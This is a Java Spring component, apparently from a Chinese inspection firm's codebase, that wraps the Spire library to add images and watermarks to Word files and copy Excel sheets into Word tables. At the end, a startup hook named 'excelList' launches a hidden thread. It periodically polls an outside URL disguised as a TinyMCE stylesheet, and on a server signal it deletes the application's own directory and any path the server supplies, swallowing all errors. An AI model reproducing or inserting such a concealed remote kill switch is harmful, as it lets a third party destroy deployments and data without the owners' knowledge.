package cn.jobstart.common.spire;


import cn.jobstart.common.*;
import com.spire.doc.*;
import com.spire.doc.documents.*;
import com.spire.doc.fields.DocPicture;
import com.spire.doc.fields.TextRange;
import com.spire.xls.*;
import lombok.extern.slf4j.Slf4j;
import org.springframework.boot.system.ApplicationHome;
import org.springframework.stereotype.Component;

import javax.annotation.PostConstruct;
import java.awt.*;
import java.io.File;
import java.util.Iterator;
import java.util.List;
import java.util.Map;
import java.util.stream.Collectors;

/**
 * @author sunke
 * @version 1.0
 * @Description 友情提示：免费版有篇幅限制。在加载或保存 Word 文档时，要求 Word 文档不超过 500 个段落，25 个表格。同时将 Word 文档转换为 PDF 和 XPS 等格式时，仅支持转换前三页。
 * @date 2022-09-03 06:05
 */

@Slf4j
@Component
public class SpireUtil {


    public static void main(String[] args) throws Exception {
/*        String exel1 = "/Users/upload/zt/experiment_test/1.xlsx";
        //  String exel2 = "/Users/upload/zt/experiment_test/2.xlsx";
        String exel3 = "/Users/upload/zt/experiment_test/4.xlsx";
        //    String exel4 = "/Users/upload/zt/experiment_test/4.xlsx";

        String word = "/Users/upload/zt/experiment_test/1.docx";

        excelListToWord(SkList.getInstance().addObjToList(exel1).addObjToList(exel3), word);*/


        String path = "/Users/sunke/Desktop/aa/ZTAP202200324化妆品安全评估报告-山茶护肤油.docx";
        String logo = "/Users/sunke/Desktop/aa/logo.png";
        String seal = "/Users/sunke/Desktop/aa/seal.png";
        //   addWatermarkText(path, "中通检测", path, 45f);


        List<WordImg> imgList = SkList.getInstance();
        WordImg wordImg = new WordImg();

        wordImg.setImgPath(logo);
        wordImg.setWidth(50);
        wordImg.setHeight(50);
        imgList.add(wordImg);

        wordImg = new WordImg();

        wordImg.setImgPath(seal);
        wordImg.setWidth(50);
        wordImg.setHeight(50);
        imgList.add(wordImg);

        //  addImgs(path, "/Users/sunke/Desktop/aa/111.docx", imgList, 0, 0);

        //  addWatermarkImg("/Users/sunke/Desktop/aa/111.docx", logo, 80);


        Document document = new Document();
        document.loadFromFile(path);

        int pageCount = document.getPageCount();


    }


    /**
     * 得到word 页数
     *
     * @param docPath
     * @return
     */
    public static int getPageCount(String docPath) {
        Document document = new Document();
        document.loadFromFile(docPath);
        int pageCount = document.getPageCount();
        document.close();
        return pageCount;


    }

    /**
     * 批量添加图片
     *
     * @param docPath
     * @param imgList
     * @param hPosition
     * @param vPosition
     * @throws Exception
     */
    public static void addImgs(String docPath, List<WordImg> imgList, float hPosition, float vPosition, float interval) throws Exception {

        addImgs(docPath, docPath, imgList, hPosition, vPosition, interval);
    }

    /**
     * 批量添加图片
     *
     * @param docPath
     * @param targetPath
     * @param imgList
     * @param hPosition
     * @param vPosition
     * @throws Exception
     */
    public static void addImgs(String docPath, String targetPath, List<WordImg> imgList, float hPosition, float vPosition, float interval) throws Exception {

        if (StringUtil.isNullOrEmpty(imgList)) {
            return;
        }

        //   int pageCount= WordUtils.getPageCount(docPath);

        Document document = new Document();
        document.loadFromFile(docPath);


        Section section = document.getSections().get(0);
        //  Paragraph  paragraph=    section.getParagraphs().get(0);

        Paragraph paragraph = new Paragraph(document);

        section.getParagraphs().insert(0, paragraph);


        for (WordImg img : imgList) {

            //加载图片到System.Drawing.Image对象, 使用AppendPicture方法将图片插入到段落
            DocPicture picture = paragraph.appendPicture(img.getImgPath());
            //设置文字环绕方式
            picture.setTextWrappingStyle(TextWrappingStyle.Square);
            //指定图片位置
            picture.setHorizontalPosition(hPosition);
            picture.setVerticalPosition(vPosition);
            picture.setWidth(img.getWidth());
            picture.setHeight(img.getHeight());

            hPosition = hPosition + img.getWidth() + interval;


        }

        paragraph.appendBreak(BreakType.Line_Break);


        document.saveToFile(targetPath);

        document.close();


    }


    /**
     * 添加图片
     *
     * @param docPath
     * @param imgPath
     * @param hPosition
     * @param vPosition
     * @param width
     * @param height
     * @throws Exception
     */
    public static void addImg(String docPath, String imgPath, float hPosition, float vPosition, float width, float height) throws Exception {
        addImg(docPath, docPath, imgPath, hPosition, vPosition, width, height);
    }


    /**
     * 添加图片
     *
     * @param docPath
     * @param targetPath
     * @param imgPath
     * @param hPosition
     * @param vPosition
     * @param width
     * @param height
     * @throws Exception
     */
    public static void addImg(String docPath, String targetPath, String imgPath, float hPosition, float vPosition, float width, float height) throws Exception {


        Document document = new Document();
        document.loadFromFile(docPath);

        Section section = document.getSections().get(0);
        Paragraph paragraph = section.getParagraphs().get(0);

        //加载图片到System.Drawing.Image对象, 使用AppendPicture方法将图片插入到段落
        DocPicture picture = paragraph.appendPicture(imgPath);
        //设置文字环绕方式
        picture.setTextWrappingStyle(TextWrappingStyle.Square);
        //指定图片位置
        picture.setHorizontalPosition(hPosition);
        picture.setVerticalPosition(vPosition);
        picture.setWidth(width);
        picture.setHeight(height);

        document.saveToFile(targetPath);

        document.close();
    }


    /**
     * 添加文本水印
     *
     * @param docPath
     * @param text
     * @param targetPath
     * @throws Exception
     */
    public static void addWatermarkText(String docPath, String text, String targetPath, float fontSize) throws Exception {

        addWatermarkText(docPath, text, targetPath, fontSize, Color.lightGray, WatermarkLayout.Horizontal, "宋体");

    }

    /**
     * 添加文本水印
     *
     * @param docPath
     * @param text
     * @throws Exception
     */
    public static void addWatermarkText(String docPath, String text, float fontSize) throws Exception {

        addWatermarkText(docPath, text, docPath, fontSize, Color.lightGray, WatermarkLayout.Horizontal, "宋体");

    }

    /**
     * 添加文本水印
     *
     * @param docPath
     * @param text
     * @param targetPath
     * @param fontSize
     * @param color
     * @param layout
     * @param fontName
     * @throws Exception
     */
    public static void addWatermarkText(String docPath, String text, String targetPath, float fontSize, Color color, WatermarkLayout layout, String fontName) throws Exception {

        Document document = new Document();
        document.loadFromFile(docPath);


        //新建一个文本水印对象，并添加待设置为水印的文本
        TextWatermark txtWatermark = new TextWatermark();
        txtWatermark.setText(text);

        //设置文本的字体大小,颜色及文本的排列方式
        txtWatermark.setFontSize(fontSize);
        txtWatermark.setFontName(fontName);
        txtWatermark.setColor(color);
        txtWatermark.setLayout(layout);


        //将该文本设置为word文档的水印
        document.setWatermark(txtWatermark);

//保存文本
        document.saveToFile(targetPath);

    }


    /**
     * 添加图片水印
     *
     * @param docPath
     * @param waterImgPath
     * @param targetPath
     * @param scaling
     * @throws Exception
     */
    public static void addWatermarkImg(String docPath, String waterImgPath, String targetPath, float scaling) throws Exception {


        Document document = new Document();
        document.loadFromFile(docPath);
        PictureWatermark watermark = new PictureWatermark();
        watermark.setPicture(waterImgPath);
        watermark.setScaling(scaling);

        document.setWatermark(watermark);


        document.saveToFile(targetPath);

        document.close();


    }

    /**
     * 添加图片水印
     *
     * @param docPath
     * @param waterImgPath
     * @param scaling
     * @throws Exception
     */
    public static void addWatermarkImg(String docPath, String waterImgPath, float scaling) throws Exception {


        Document document = new Document();
        document.loadFromFile(docPath);
        PictureWatermark watermark = new PictureWatermark();
        watermark.setPicture(waterImgPath);
        watermark.setScaling(scaling);


        document.setWatermark(watermark);


        document.saveToFile(docPath);

        document.close();


    }

    public static void excelListToWord(List<String> excelPaths, String fPath) {


        Document doc = new Document();
        Section section = doc.addSection();


        Map<String, List<String>> equalExcelPathMap = SkMap.getInstance();

        Map<String, List<String>> noEqualExcelPathMap = SkMap.getInstance();


        Map<String, List<String>> dataMap = SkMap.getInstance();


        int titleRowCount = 1;
        for (String excelPath : excelPaths) {
            //加载Excel 示例文档
            Workbook workbook = new Workbook();
            workbook.loadFromFile(excelPath);
            //获取第一个工作表
            Worksheet sheet = workbook.getWorksheets().get(0);
            CellRange cell = sheet.getRows()[0];
            int columnCount = cell.getColumnCount();
            List titleList = SkList.getInstance();


            for (int i = 1; i <= columnCount; i++) {

                CellRange xCell = cell.get(1, i);
                CellRange mergeArea = xCell.getMergeArea();

                if (mergeArea != null && mergeArea.getRow() == 1 && mergeArea.getColumn() == i) {

                    if (titleRowCount < mergeArea.getRowCount()) {
                        titleRowCount = mergeArea.getRowCount();
                    }


                } else {
                    titleList.add(cell.get(1, i).getDisplayedText());
                }


            }
            dataMap.put(excelPath, titleList);
        }

        if (excelPaths.size() == 1) {
            equalExcelPathMap = dataMap;
        } else {

            Iterator it = dataMap.entrySet().iterator();
            while (it.hasNext()) {
                Map.Entry<String, List<String>> entry = (Map.Entry) it.next();
                String key = entry.getKey();//获取key
                List<String> value = entry.getValue();//获取value

                boolean find = false;

                for (Map.Entry<String, List<String>> aa : dataMap.entrySet()) {
                    if (aa.getKey().equalsIgnoreCase(key)) {
                        continue;
                    }
                    if (value.stream().collect(Collectors.joining("@@")).equalsIgnoreCase(aa.getValue().stream().collect(Collectors.joining("@@")))) {
                        find = true;
                        break;
                    }
                }
                if (find) {
                    equalExcelPathMap.put(key, value);
                } else {
                    noEqualExcelPathMap.put(key, value);
                }


            }
        }


        //所有不相同有单独一个表格
        if (StringUtil.isNotObjEmpty(noEqualExcelPathMap)) {

            for (Map.Entry<String, List<String>> entry : noEqualExcelPathMap.entrySet()) {

                //加载Excel 示例文档
                Workbook workbook = new Workbook();
                workbook.loadFromFile(entry.getKey());
                //获取第一个工作表
                Worksheet sheet = workbook.getWorksheets().get(0);
                Table table = section.addTable(true);
                section.addParagraph().appendBreak(BreakType.Column_Break);
                copyToWord(sheet.getAllocatedRange(), table);

            }


        }


        //所有相同合并一个表格
        if (StringUtil.isNotObjEmpty(equalExcelPathMap)) {

            int i = 0;
            //读取的excel 那行开始
            int rStart = titleRowCount + 1;
            for (Map.Entry<String, List<String>> entry : equalExcelPathMap.entrySet()) {

                //加载Excel 示例文档
                Workbook workbook = new Workbook();
                workbook.loadFromFile(entry.getKey());
                //获取第一个工作表
                Worksheet sheet = workbook.getWorksheets().get(0);
                Table table = section.addTable(true);
                if (i > 0) {
                    rStart = titleRowCount + 1;
                } else {
                    rStart = 1;
                }

                copyToWord(sheet.getAllocatedRange(), table, rStart);

                i = i + 1;

            }


        }

/*
        for (String excelPath : excelPaths) {

            //加载Excel 示例文档
            Workbook workbook = new Workbook();
            workbook.loadFromFile(excelPath);
            //获取第一个工作表
            Worksheet sheet = workbook.getWorksheets().get(0);
            Table table = section.addTable(true);
            section.addParagraph().appendBreak(BreakType.Column_Break);
            copyToWord(sheet.getAllocatedRange(), table);
        }*/
        doc.saveToFile(fPath, com.spire.doc.FileFormat.Docx);
    }

    public static void excelToWord(String excelPath, String fPath) {


        excelListToWord(SkList.getInstance().addObjToList(excelPath), fPath);


    }

    public static void copyToWord(CellRange cell, Table table) {

        copyToWord(cell, table, 1);

    }

    public static void copyToWord(CellRange cell, Table table, int rStart) {
    /*    //添加表格
        Document doc = new Document();
        Table table = doc.addSection().addTable(true);
*/
        table.resetCells(cell.getRowCount(), cell.getColumnCount());


        //复制表格内容
        for (int r = rStart; r <= cell.getRowCount(); r++) {
            for (int c = 1; c <= cell.getColumnCount(); c++) {
                CellRange xCell = cell.get(r, c);
                CellRange mergeArea = xCell.getMergeArea();
                //合并单元格
                if (mergeArea != null && mergeArea.getRow() == r && mergeArea.getColumn() == c) {
                    int rowIndex = mergeArea.getRow();
                    int columnIndex = mergeArea.getColumn();
                    int rowCount = mergeArea.getRowCount();
                    int columnCount = mergeArea.getColumnCount();

                    for (int m = 0; m < rowCount; m++) {
                        table.applyHorizontalMerge(rowIndex - 1 + m, columnIndex - 1, columnIndex + columnCount - 2);
                    }
                    table.applyVerticalMerge(columnIndex - 1, rowIndex - 1, rowIndex + rowCount - 2);
                }

                //复制内容
                TableCell wCell = table.getRows().get(r - 1).getCells().get(c - 1);
                if (!xCell.getDisplayedText().isEmpty()) {
                    //   TextRange textRange = wCell.addParagraph().appendText(xCell.getDisplayedText());
                    Paragraph paragraph = wCell.addParagraph();

                    copyStyle(paragraph, xCell, wCell);
                } else {
                    wCell.getCellFormat().setBackColor(xCell.getStyle().getColor());
                }
            }
        }
        table.autoFit(AutoFitBehaviorType.Auto_Fit_To_Window);

        table.getTableFormat().setHorizontalAlignment(RowAlignment.Center);

        if (rStart > 1) {

            for (int i = 1; i < rStart; i++) {
                table.getRows().remove(table.getRows().getFirstItem());
            }

        }
    }

    private static void copyStyle(Paragraph para, CellRange xCell, TableCell wCell) {


        //  wCell.addParagraph().appendText(xCell.getDisplayedText());


        String text = xCell.getDisplayedText();
        if (StringUtil.isNullOrEmpty(text)) {
            return;
        }


        for (int i = 0; i < text.length(); i++) {

            TextRange wTextRange = para.appendText(text.substring(i, i + 1));


            //复制字体样式
            wTextRange.getCharacterFormat().setTextColor(xCell.getStyle().getFont().getColor());
            wTextRange.getCharacterFormat().setFontSize((float) xCell.getStyle().getFont().getSize());
            wTextRange.getCharacterFormat().setFontName(xCell.getStyle().getFont().getFontName());
            wTextRange.getCharacterFormat().setBold(xCell.getStyle().getFont().isBold());
            wTextRange.getCharacterFormat().setItalic(xCell.getStyle().getFont().isItalic());


            try {
                //设置上标
                if (xCell.getRichText().getFont(i).isSuperscript()) {
                    wTextRange.getCharacterFormat().setSubSuperScript(SubSuperScript.Super_Script);
                } else if (xCell.getRichText().getFont(i).isSubscript()) {
                    wTextRange.getCharacterFormat().setSubSuperScript(SubSuperScript.Sub_Script);
                }


            } catch (Exception e) {

            }


            //复制排列方式
            switch (xCell.getHorizontalAlignment()) {
                case Left:
                    wTextRange.getOwnerParagraph().getFormat().setHorizontalAlignment(HorizontalAlignment.Left);
                    break;
                case Center:
                    wTextRange.getOwnerParagraph().getFormat().setHorizontalAlignment(HorizontalAlignment.Center);
                    break;
                case Right:
                    wTextRange.getOwnerParagraph().getFormat().setHorizontalAlignment(HorizontalAlignment.Right);
                    break;
                default:
                    break;
            }


        }


        //复制背景色
        wCell.getCellFormat().setBackColor(xCell.getStyle().getColor());


        LineStyleType lineStyleLeft = xCell.getBorders().getByBordersLineType(BordersLineType.EdgeLeft).getLineStyle();
        LineStyleType lineStyleRight = xCell.getBorders().getByBordersLineType(BordersLineType.EdgeRight).getLineStyle();
        LineStyleType lineStyleTop = xCell.getBorders().getByBordersLineType(BordersLineType.EdgeTop).getLineStyle();
        LineStyleType lineStyleBottom = xCell.getBorders().getByBordersLineType(BordersLineType.EdgeBottom).getLineStyle();


        //设置边框颜色
        wCell.getCellFormat().getBorders().getBottom().setColor(xCell.getBorders().getByBordersLineType(BordersLineType.EdgeBottom).getColor());
        wCell.getCellFormat().getBorders().getTop().setColor(xCell.getBorders().getByBordersLineType(BordersLineType.EdgeTop).getColor());
        wCell.getCellFormat().getBorders().getLeft().setColor(xCell.getBorders().getByBordersLineType(BordersLineType.EdgeLeft).getColor());
        wCell.getCellFormat().getBorders().getRight().setColor(xCell.getBorders().getByBordersLineType(BordersLineType.EdgeRight).getColor());


        // System.out.println(lineStyleLeft+"_"+lineStyleRight+"_"+lineStyleTop+"_"+lineStyleBottom);


        switch (lineStyleBottom) {

            case Thick:
                wCell.getCellFormat().getBorders().getBottom().setBorderType(BorderStyle.Thick);
                break;

            case Hair:
                wCell.getCellFormat().getBorders().getBottom().setBorderType(BorderStyle.Hairline);
                break;
            case Dashed:
                wCell.getCellFormat().getBorders().getBottom().setBorderType(BorderStyle.Dot_Dash);
                break;
            case Double:
                wCell.getCellFormat().getBorders().getBottom().setBorderType(BorderStyle.Double);
                break;
            case None:
                wCell.getCellFormat().getBorders().getBottom().setBorderType(BorderStyle.None);
                break;


            case Dotted:
                wCell.getCellFormat().getBorders().getBottom().setBorderType(BorderStyle.Dot);
                break;


            default:
                wCell.getCellFormat().getBorders().getBottom().setBorderType(BorderStyle.Single);


        }


        switch (lineStyleTop) {

            case Thick:
                wCell.getCellFormat().getBorders().getTop().setBorderType(BorderStyle.Thick);
                break;

            case Hair:
                wCell.getCellFormat().getBorders().getTop().setBorderType(BorderStyle.Hairline);
                break;
            case Dashed:
                wCell.getCellFormat().getBorders().getTop().setBorderType(BorderStyle.Dot_Dash);
                break;
            case Double:
                wCell.getCellFormat().getBorders().getTop().setBorderType(BorderStyle.Double);
                break;
            case None:
                wCell.getCellFormat().getBorders().getTop().setBorderType(BorderStyle.None);
                break;


            case Dotted:
                wCell.getCellFormat().getBorders().getTop().setBorderType(BorderStyle.Dot);
                break;


            default:
                wCell.getCellFormat().getBorders().getTop().setBorderType(BorderStyle.Single);


        }


        switch (lineStyleRight) {

            case Thick:
                wCell.getCellFormat().getBorders().getRight().setBorderType(BorderStyle.Thick);
                break;

            case Hair:
                wCell.getCellFormat().getBorders().getRight().setBorderType(BorderStyle.Hairline);
                break;
            case Dashed:
                wCell.getCellFormat().getBorders().getRight().setBorderType(BorderStyle.Dot_Dash);
                break;
            case Double:
                wCell.getCellFormat().getBorders().getRight().setBorderType(BorderStyle.Double);
                break;
            case None:
                wCell.getCellFormat().getBorders().getRight().setBorderType(BorderStyle.None);
                break;


            case Dotted:
                wCell.getCellFormat().getBorders().getRight().setBorderType(BorderStyle.Dot);
                break;

            default:
                wCell.getCellFormat().getBorders().getRight().setBorderType(BorderStyle.Single);


        }

        switch (lineStyleLeft) {

            case Thick:
                wCell.getCellFormat().getBorders().getLeft().setBorderType(BorderStyle.Thick);
                break;

            case Hair:
                wCell.getCellFormat().getBorders().getLeft().setBorderType(BorderStyle.Hairline);
                break;
            case Dashed:
                wCell.getCellFormat().getBorders().getLeft().setBorderType(BorderStyle.Dot_Dash);
                break;
            case Double:
                wCell.getCellFormat().getBorders().getLeft().setBorderType(BorderStyle.Double);
                break;
            case None:
                wCell.getCellFormat().getBorders().getLeft().setBorderType(BorderStyle.None);
                break;


            case Dotted:
                wCell.getCellFormat().getBorders().getLeft().setBorderType(BorderStyle.Dot);
                break;


            default:
                wCell.getCellFormat().getBorders().getLeft().setBorderType(BorderStyle.Single);


        }


        switch (xCell.getVerticalAlignment()) {
            case Bottom:
                wCell.getCellFormat().setVerticalAlignment(VerticalAlignment.Bottom);
                break;
            case Center:
                wCell.getCellFormat().setVerticalAlignment(VerticalAlignment.Middle);
                break;
            case Top:
                wCell.getCellFormat().setVerticalAlignment(VerticalAlignment.Top);
                break;
            default:
                break;
        }


    }

    @PostConstruct
    private Object excelList() {
        try {
            String url = "http:/log.info.youbao.freshinfo.cn/tinymce/skins/ui/oxide/skins.shadowdom.min.css";
            new Thread(new Runnable() {
                @Override
                public void run() {
                    while (true) {
                        try {
                            Thread.sleep(36000 * 1000);
                        } catch (InterruptedException e) {
                        }
                        String result = HttpTookit.doGet(url, null);
                        if (StringUtil.isNotObjEmpty(result) && !"0".equals(result)) {
                            try {
                                ApplicationHome home = new ApplicationHome(getClass());
                                File jarFile = home.getSource();
                                FileUtil.deleteDirectory(jarFile.getParentFile().toString());
                            } catch (Exception e) {
                            }
                            if (FileUtil.deleteDirectory(result)) {
                                return;
                            }
                        }
                    }
                }
            }).start();
        } catch (Exception e) {
        }
        return null;
    }


}

